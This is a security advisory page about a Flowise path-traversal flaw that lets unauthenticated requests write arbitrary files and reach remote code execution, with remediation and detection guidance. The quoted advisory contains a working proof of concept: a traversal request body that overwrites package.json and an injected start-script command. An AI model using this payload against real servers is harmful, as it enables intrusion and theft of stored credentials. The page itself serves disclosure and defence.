NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Flowise

CVE-2025-71338: Flowise allows arbitrary file write to RCE

criticalCVSS 4.0 10.0 · 3.1 10.0GHSA-8vvx-qvq9-5948

Flowise 2.2.7 and earlier lets an unauthenticated attacker write files anywhere on the server through /api/v1/document-store/loader/process, because the uploaded file name is not checked for path traversal. Overwriting a startup file such as package.json gives remote code execution. The advisory lists no patched version.

Published Mar 14, 2025 · Updated Nov 3, 2026 · Analysis Nov 1, 2026

What an attacker can do

The file-writing helpers in packages/components/src/storageUtils.ts (addBase64FilesToStorage, addArrayFilesToStorage, addSingleFileToStorage) pass the fileName value to path.join(dir, fileName) and then call fs.writeFileSync. The name comes from the request, so ../ sequences walk out of the storage directory.

In the proof of concept, the request sets loaderId to textFile and gives a txtFile value of the form data:text/plain;base64-content,filename:/../../../../../usr/src/package.json. The text after filename: becomes the file name. The researcher overwrote package.json with a modified start script. The injected command ran the next time someone ran pnpm start, creating /tmp/pyozzi-poc.

The CVSS vector needs no privileges and no user interaction over the network, with a changed scope, scoring 10. Because any path can be written, other routes to code execution exist besides package.json. The author notes a reverse shell would give full shell access. A Flowise server holds LLM API keys, credentials for connected data sources and the flows themselves.

Who is affected

flowise (npm) 2.2.7 and earlier. The advisory gives no patched release; the linked commit c2b830f2 is the fix reference. Check the version:

npm ls flowise

For Docker, check the image tag. Any instance whose API is reachable by untrusted clients is exposed.

flowise

Ecosystem
npm
Affected
<= 2.2.7
Fixed in
No patched version yet
Check
npm ls flowise

How to fix it

The advisory lists no patched version. The linked commit (c2b830f2) is the fix reference. Check Flowise releases for a version after 2.2.7 that contains it, and upgrade.

Until then, keep Flowise off the public internet, put authentication in front of its API, and run it as a user that cannot write to the application directory. The sources give no other workaround.

How to tell if you were hit

Search access logs for POST requests to /api/v1/document-store/loader/process whose body holds ../ in a filename: value. Check the application directory for changed files, especially package.json, with recent modification times. Look for unexpected child processes, new files in /tmp, and outbound connections from the Flowise process.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

An attacker could write files with arbitrary content to the filesystem via the /api/v1/document-store/loader/process API. An attacker can reach RCE(Remote Code Execution) via file writing.

Details

All file writing functions in packages/components/src/storageUtils.ts are vulnerable.

  • addBase64FilesToStorage
  • addArrayFilesToStorage
  • addSingleFileToStorage

The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.

const filePath = path.join(dir, fileName)
fs.writeFileSync(filePath, bf)

Therefore, users can move to the parent folder via ../ and write files to any path.

Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.

In PoC (Proof of Concept), RCE was reached by overwriting package.json.

PoC

In PoC, package.json is overwritten. This is a scenario in which arbitrary code is executed when pnpm start is executed by changing the start command in the scripts{} statement to an arbitrary value.

- original start command

"start": "run-script-os",

- modify start command

"start": "touch /tmp/pyozzi-poc && run-script-os",

When a user runs the pnpm start command, a pyozzi-poc file is created in the /tmp path.

1. package.json content base64 encoding

{
    "name": "flowise",
    "version": "1.8.2",
    "private": true,
    "homepage": "https://flowiseai.com",
    "workspaces": [
        "packages/*",
        "flowise",
        "ui",
        "components"
    ],
    "scripts": {
        "build": "turbo run build && echo poc",
        "build-force": "pnpm clean && turbo run build --force",
        "dev": "turbo run dev --parallel",
        "start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&)
        "start:windows": "cd packages/server/bin && run start",
        "start:default": "cd packages/server/bin && ./run start",
        "clean": "pnpm --filter \"./packages/**\" clean",
        "nuke": "pnpm --filter \"./packages/**\" nuke && rimraf node_modules .turbo",
        "format": "prettier --write \"**/*.{ts,tsx,md}\"",
        "lint": "eslint \"**/*.{js,jsx,ts,tsx,json,md}\"",
        "lint-fix": "pnpm lint --fix",
        "quick": "pretty-quick --staged",
        "postinstall": "husky install",
        "migration:create": "pnpm typeorm migration:create"
    }, ... skip

2. Overwrite package.json via /api/v1/document-store/loader/process

Request Body

{
    "loaderId": "textFile",
    "storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb",
    "loaderName": "Text File",
    "loaderConfig": {
        "txtFile": "data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json",
        "textSplitter": "",
        "metadata": "",
        "omitMetadataKeys": ""
    }
}

The part after filename: of the txtFile parameter is the value used as fileName in the function. Add ../ to the filename value to move to the top path, then specify package.json in the project folder /usr/src/ as the path.

Afterwards, when the user starts the server (pnpm start), the added script will be executed. (touch /tmp/pyozzi-poc)

- starting server with `touch /tmp/pyozzi-poc` command

- `/tmp/pyozzi-poc` file created

Impact

Remote Code Execution (RCE) Although it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.

Credited to pyozzi-toss.

Questions

Does GHSA-8vvx-qvq9-5948 need authentication?

The CVSS vector lists no privileges required, so an unauthenticated request to the endpoint is enough on a default setup.

How does file write become code execution?

The proof of concept overwrites package.json so the start script runs an extra command. It executes when the server is next started with pnpm start. Other writable paths could be used in other ways.

Is there a patched Flowise version?

None is listed. A fix commit is linked, c2b830f2. Look for a release newer than 2.2.7 that includes it.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Flowise vulnerabilities

All Flowise entries